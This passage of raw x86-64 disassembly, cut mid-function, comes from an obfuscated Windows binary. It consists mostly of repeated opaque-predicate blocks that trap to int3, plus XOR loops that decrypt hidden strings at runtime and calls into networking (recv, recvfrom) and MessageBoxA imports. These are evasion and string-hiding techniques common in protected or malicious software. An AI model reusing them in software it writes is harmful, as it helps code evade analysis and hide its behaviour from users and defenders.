div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002a8dc
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002a8dc
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002a8fc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
movdqa xmm0, xmmword [0x1400e5e20]
movdqu xmmword [rbp + 0xbc8], xmm0
movdqa xmm1, xmmword [0x1400e5ed0]
movdqu xmmword [rbp + 0xbd8], xmm1
mov dword [rbp + 0xbe8], 0x2710a7e8
mov dword [rbp + 0xbec], 0xd111a0d3
mov r12d, reloc.WS2_32.dll_recvfrom
mov dword [rbp + 0xbf0], 0xa5b0cecf
xor eax, eax
mov byte [rbp + 0xbf4], al
mov rdi, r14
mov qword [rsp + 0x20], rbx
mov r9d, Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbc8]
lea rcx, [rbp + 0xbc8]
call fcn.1400389d4
xor al, dil
mov byte [rbp + rdi + 0xbc8], al
inc rdi
cmp rdi, 0x2c
jb 0x14002a94b
mov byte [rbp + 0xbf4], r14b
lea rdx, [rbp + 0xbc8]
lea rcx, [rbp + 0x1188]
call fcn.1400066d8
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002aa43
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002aa23
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002aa23
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002aa43
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002aaed
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002aacd
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002aacd
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002aaed
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
lea rcx, [rbp + 0x9f8]
call fcn.140028f60
mov rdi, rax
lea rcx, [rsp + 0x60]
call fcn.1400067e8
mov qword [rsp + 0x20], rax
mov r9d, 8
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x1208]
call fcn.140039af0
lea rcx, [rbp + 0x9f8]
call fcn.140039a2c
lea rcx, [rbp + 0x9f8]
call fcn.140006cf8
mov rax, qword gs:[0x3c]
mov ebx, 0x13d4ec0d
cmp rax, rsi
jne 0x14002abfc
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3450d54d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x59d65afc
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002abdc
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002abdc
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002abfc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002acb9
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3450d54d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x59d65afc
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ac99
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ac99
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002acb9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov dword [rbp - 0x68], 0x1ae7d3f9
mov word [rbp - 0x64], 0x24dc
xor eax, eax
mov byte [rbp - 0x62], al
mov rdi, r14
movabs r13, 0x12157fd01
mov qword [rsp + 0x20], r13
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x68]
lea rcx, [rbp - 0x68]
call fcn.14003895c
xor al, dil
mov byte [rbp + rdi - 0x68], al
inc rdi
cmp rdi, 6
jb 0x14002acd8
mov byte [rbp - 0x62], r14b
mov dword [rbp - 0x58], 0x1ae7c1e0
mov word [rbp - 0x54], 0x24dc
xor eax, eax
mov byte [rbp - 0x52], al
mov rdi, r14
mov r13d, 0x79aa73bc
movabs r15, 0x12157fd01
mov qword [rsp + 0x20], r15
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x58]
lea rcx, [rbp - 0x58]
call fcn.14003895c
xor al, dil
mov byte [rbp + rdi - 0x58], al
inc rdi
cmp rdi, 6
jb 0x14002ad2c
mov byte [rbp - 0x52], r14b
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1188]
lea rcx, [rbp + 0xa38]
call fcn.140039d60
lea rdx, [rbp + 0x1208]
mov rcx, rax
call fcn.140039738
mov rdx, rax
lea rcx, [rbp + 0xa58]
call fcn.14003988c
lea rcx, [rbp - 0x68]
call fcn.140006840
mov rcx, rax
call fcn.1400067e8
mov r8, rax
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0xa58]
call fcn.140039578
mov rdx, rax
lea rcx, [rbp + 0xa78]
call fcn.14003988c
lea rdx, [0x1400fa1c0]
lea rcx, [rbp + 0xa78]
call fcn.140039738
mov rdx, rax
lea rcx, [rbp + 0x11e8]
call fcn.14003988c
lea rcx, [rbp + 0xa78]
call fcn.140039a2c
lea rcx, [rbp + 0xa78]
call fcn.140006cf8
lea rcx, [rbp + 0xa58]
call fcn.140039a2c
lea rcx, [rbp + 0xa58]
call fcn.140006cf8
lea rcx, [rbp + 0xa38]
call fcn.140039a2c
lea rcx, [rbp + 0xa38]
call fcn.140006cf8
mov rax, qword gs:[0x3c]
cmp rax, rsi
movabs r15, 0xfd0e4b779cf2199c
jne 0x14002aee1
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002aec1
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002aec1
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002aee1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002af8b
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002af6b
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002af6b
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002af8b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
lea rcx, [rbp + 0x1208]
call fcn.1400393a0
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.14009f7c0
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002b062
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3450d54d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x59d65afc
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b042
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b042
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b062
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002b10c
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b0ec
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b0ec
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b10c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
nop
mov dl, byte [rsp + 0x60]
lea rcx, [rbp + 0x10e8]
call fcn.140006790
lea rcx, [rbp + 0x10e8]
call fcn.140039ac8
nop
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002b1d3
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b1b3
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b1b3
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b1d3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002b290
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3450d54d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x59d65afc
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b270
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b270
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b290
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
lea rcx, [rbp + 0x11e8]
call fcn.1400393a0
mov r9b, 1
xor r8d, r8d
lea rdx, [rbp + 0x10e8]
mov rcx, rax
call fcn.140028ac8
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002b35b
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b33b
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b33b
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b35b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov dword [rbp + 0x1e0], 0x4d8381f5
mov dword [rbp + 0x1e4], 0x3c9c15e2
mov dword [rbp + 0x1e8], 0xaec3149
xor eax, eax
mov byte [rbp + 0x1ec], al
mov rdi, r14
movabs r15, 0x12157fd01
mov qword [rsp + 0x20], r15
mov r9d, recv
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1e0]
lea rcx, [rbp + 0x1e0]
call fcn.1400388e4
xor al, dil
mov byte [rbp + rdi + 0x1e0], al
inc rdi
cmp rdi, 0xc
jb 0x14002b38e
mov byte [rbp + 0x1ec], r14b
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x10e8]
call fcn.14003a07c
test al, al
movabs r15, 0xfd0e4b779cf2199c
je 0x14002b96d
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002b498
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b478
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b478
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b498
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
movdqa xmm0, xmmword [0x1400e5f80]
movdqu xmmword [rbp + 0x7b8], xmm0
mov dword [rbp + 0x7c8], 0x8f6c811c
mov word [rbp + 0x7cc], 0xe552
xor eax, eax
mov byte [rbp + 0x7ce], al
mov rdi, r14
movabs r13, 0x12157fd01
mov qword [rsp + 0x20], r13
mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7b8]
lea rcx, [rbp + 0x7b8]
call fcn.1400387f8
xor al, dil
mov byte [rbp + rdi + 0x7b8], al
inc rdi
cmp rdi, 0x16
jb 0x14002b4d0
mov byte [rbp + 0x7ce], r14b
movdqa xmm0, xmmword [0x1400e5fe0]
movdqa xmmword [rbp + 0xd60], xmm0
movdqa xmm1, xmmword [0x1400e6090]
movdqa xmmword [rbp + 0xd70], xmm1
movdqa xmm0, xmmword [0x1400e6050]
movdqa xmmword [rbp + 0xd80], xmm0
movdqa xmm1, xmmword [0x1400e5f60]
movdqa xmmword [rbp + 0xd90], xmm1
movdqa xmm0, xmmword [0x1400e5dc0]
movdqa xmmword [rbp + 0xda0], xmm0
movdqa xmm1, xmmword [0x1400e60a0]
movdqa xmmword [rbp + 0xdb0], xmm1
movdqa xmm0, xmmword [0x1400e5f20]
movdqa xmmword [rbp + 0xdc0], xmm0
movdqa xmm1, xmmword [0x1400e5f30]
movdqa xmmword [rbp + 0xdd0], xmm1
mov dword [rbp + 0xde0], 0x2627973a
mov word [rbp + 0xde4], 0x613b
xor eax, eax
mov byte [rbp + 0xde6], al
mov rdi, r14
mov r13d, 0x79aa73bc
movabs r15, 0x12157fd01
mov qword [rsp + 0x20], r15
mov r9d, 0x86
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd60]
lea rcx, [rbp + 0xd60]
call fcn.14003886c
xor al, dil
mov byte [rbp + rdi + 0xd60], al
inc rdi
cmp rdi, 0x86
jb 0x14002b5b9
mov byte [rbp + 0xde6], r14b
mov r9d, 4
lea r8, [rbp + 0x7b8]
lea rdx, [rbp + 0xd60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edi, eax
mov rcx, qword gs:[0x3c]
cmp rcx, rsi
movabs r15, 0xfd0e4b779cf2199c
jne 0x14002b6c9
mov rcx, qword gs:[0x45]
xor rcx, r13
mov qword [rbp + 0xf30], rcx
mov rcx, qword gs:[0x45]
xor rcx, r13
mov qword [rbp + 0xf38], rcx
mov rcx, qword gs:[0x45]
xor rcx, r13
mov qword [rbp + 0xf40], rcx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b6a9
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b6a9
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b6c9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002b786
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3450d54d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x59d65afc
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b766
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b766
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b786
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
cmp edi, 7
je 0x14003856b
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002b839
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b819
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b819
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b839
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14009e898
int3
movdqa xmm0, xmmword [0x1400e60b0]
movdqu xmmword [rbp + 0xc28], xmm0
movdqa xmm1, xmmword [0x1400e5f90]
movdqu xmmword [rbp + 0xc38], xmm1
movdqa xmm0, xmmword [0x1400e5d50]
movdqu xmmword [rbp + 0xc48], xmm0
mov rdi, r14
movabs r13, 0x12157fd01
mov qword [rsp + 0x20], r13
mov r9d, Ordinal_50
mov r8, rdi
mov dl, byte [rbp + rdi + 0xc28]
lea rcx, [rbp + 0xc28]
call fcn.140038784
xor al, dil
mov byte [rbp + rdi + 0xc28], al
inc rdi
cmp rdi, 0x2f
jb 0x14002b876
mov byte [rbp + 0xc57], r14b
lea rcx, [rbp + 0xc28]
call fcn.1400a2cec
mov rax, qword gs:[0x3c]
cmp rax, rsi
mov r13d, 0x79aa73bc
jne 0x14002b96d
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002b94d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002b94d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002b96d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
mov edi, 0x3450d54d
cmp rax, rsi
jne 0x14002ba2c
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x59d65afc
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002ba0c
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002ba0c
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002ba2c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
lea rdx, [rbp + 0x10e8]
lea rcx, [rbp + 0xa98]
call fcn.1400398e8
mov rdx, rax
lea rcx, [rbp + 0xab8]
call fcn.1400290a8
mov rdx, rax
lea rcx, [rbp + 0x10e8]
call fcn.1400397c4
lea rcx, [rbp + 0xab8]
call fcn.140039a2c
lea rcx, [rbp + 0xab8]
call fcn.140006cf8
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002bb1f
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002baff
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002baff
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002bb1f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002bbda
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x59d65afc
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002bbba
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002bbba
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002bbda
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
xor edx, edx
lea rcx, [rbp + 0x1188]
call fcn.140039a9c
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002bc92
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002bc72
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002bc72
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002bc92
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002bd4d
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x59d65afc
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002bd2d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002bd2d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002bd4d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rcx, qword [rbp + 0x10f8]
call fcn.1400a315c
mov rbx, rax
mov qword [rbp - 0x40], rax
mov rcx, qword gs:[0x3c]
cmp rcx, rsi
jne 0x14002be1d
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x13d4ec0d
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x59d65afc
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002bdfd
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002bdfd
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002be1d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002bec7
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002bea7
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002bea7
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002bec7
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov r15, qword [rbp + 0x10f8]
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14002bf78
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002bf58
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002bf58
